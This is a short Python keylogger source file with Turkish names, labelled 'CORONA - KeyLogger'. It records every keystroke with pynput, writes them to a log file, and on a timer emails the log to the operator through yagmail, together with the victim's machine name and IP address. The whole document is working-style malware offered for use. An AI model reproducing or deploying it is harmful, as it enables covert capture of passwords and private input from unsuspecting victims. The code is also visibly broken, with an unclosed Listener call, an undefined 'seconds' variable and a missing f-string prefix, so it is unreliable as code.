import time, pynput.keyboard, yagmail, socket tuslar = [] yollamaSuresi = 0 makinaAd = socket.gethostname() kayitEkle = open("log.txt", "a") def klavyeDinle(tus): global tuslar try: tuslar.append(tus) except AttributeError: if tus == tus.space: tuslar.append(tus) else: tuslar.append(tus) def mailYolla(mailAdresiniz, mailParolaniz): global tuslar kayitEkle.write(str(tuslar)) mail = yagmail.SMTP(mailAdresiniz, mailParolaniz) mail.send( to = mailAdresiniz, subject = "CORONA - KeyLogger Bildirimi", contents = '''Merhaba Corona Logger kullanicisi! Az once bir kullanicidan veri aldin. Kurbanin PC Adi : > {makinaAd} < Kurbanin IP Adresi : > {socket.gethostbyname(makinaAd)} < Log kayitlarini ekte bulabilirsiniz.''', attachments = "log.txt" # Log dosyasinin adi. ) tuslar = [] keylogger = pynput.keyboard.Listener( keylogger.start() with keylogger: while True: if yollamaSuresi == seconds: mailYolla('mailAddress', 'appPassword') yollamaSuresi = 0 else: time.sleep(1)